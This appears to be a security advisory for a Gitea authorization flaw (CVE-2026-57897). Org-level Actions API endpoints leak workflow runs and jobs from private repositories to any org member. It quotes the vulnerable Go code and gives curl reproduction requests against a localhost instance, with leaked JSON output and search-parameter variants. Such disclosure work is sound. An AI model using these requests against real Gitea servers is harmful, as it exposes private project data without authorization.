CVE-2026-57897

Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023 Broken Object Property Level Authorization

---

1. Summary

The org-level Actions REST endpoints

GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) / shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects every action_run / action_run_job row whose repository belongs to the org — with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:

• private repositories the caller has no team membership for,
• repositories where the caller has been explicitly denied the repo.actions unit,
• repositories created by other teams the caller is not part of.

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, …/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the same caller — proving the org-level surface is the only path that leaks.

---

2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

addActionsRoutes(
    m,
    reqOrgMembership(),   // reqReaderCheck
    reqOrgOwnership(),    // reqOwnerCheck
    org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

func (Action) ListWorkflowJobs(ctx *context.APIContext) {
    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) {
    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

opts := actions_model.FindRunOptions{
    OwnerID:     ownerID,   // ← org ID, NOT user ID
    RepoID:      repoID,    // = 0 at org level
    ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)

models/actions/run_list.go:102-110

func (opts FindRunOptions) ToJoins() []db.JoinFunc {
    if opts.OwnerID > 0 {
        return []db.JoinFunc{func(sess db.Engine) error {
            sess.Join("INNER", "repository",
                "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
            return nil
        }}
    }
    return nil
}

The join only constrains repository.owner_id = orgID. There is no access/team_repo/collaboration join and no access_model.GetDoerRepoPermission(...) filter — every row in the org is returned.

The same bug applies to shared.ListJobs, which calls db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …}) using an analogous repository join.

---

3. Steps to Reproduce

3.1 Setup

• Org 1st-org with one private repo 1st-org-repo.
• Team Owners contains user admin (org owner).
• Team 1st-team has zero repositories assigned (units permission none for actions, no included repos).
• User admin2 is a regular user (is_admin = false), member of 1st-team only — so org member, but no team grants any access to 1st-org-repo.

Verified that admin2 lacks direct access:

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to produce an action_run:

name: ci
on: push
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

{"workflow_runs":[{
  "id":7,
  "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
  "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
  "display_title":"add workflow",
  "path":"ci.yml@refs/heads/main",
  "event":"push",
  "run_attempt":1,
  "run_number":1,
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
  "trigger_actor":{ … "login":"admin" … },
  "repository":{
     "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
     "description":"test123",
     "private":true,
     "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
     "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
     …
  }
}],"total_count":1}
[200]

Same primitive for jobs:

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
  "id":7,
  "run_id":7,
  "name":"hello",
  "labels":["ubuntu-latest"],
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  …
}],"total_count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too — turning the endpoint into a search oracle over private workflow metadata:

# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"

# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"

# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"

# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.

---

4. Impact

A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:

Real-world consequences:

1. Org reconnaissance — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
2. Insider-threat amplification — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history.
3. Cross-team violation — when an org isolates internal projects via teams (e.g. security/ vs infra/ teams), this surface flatly bypasses that boundary.
4. Pivot data — commit SHAs disclosed here unlock subsequent endpoints that do check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).

The same primitive is exposed regardless of token scope, as long as the token has organization scope, the user is an org member, and the org has any private repos with action runs.

---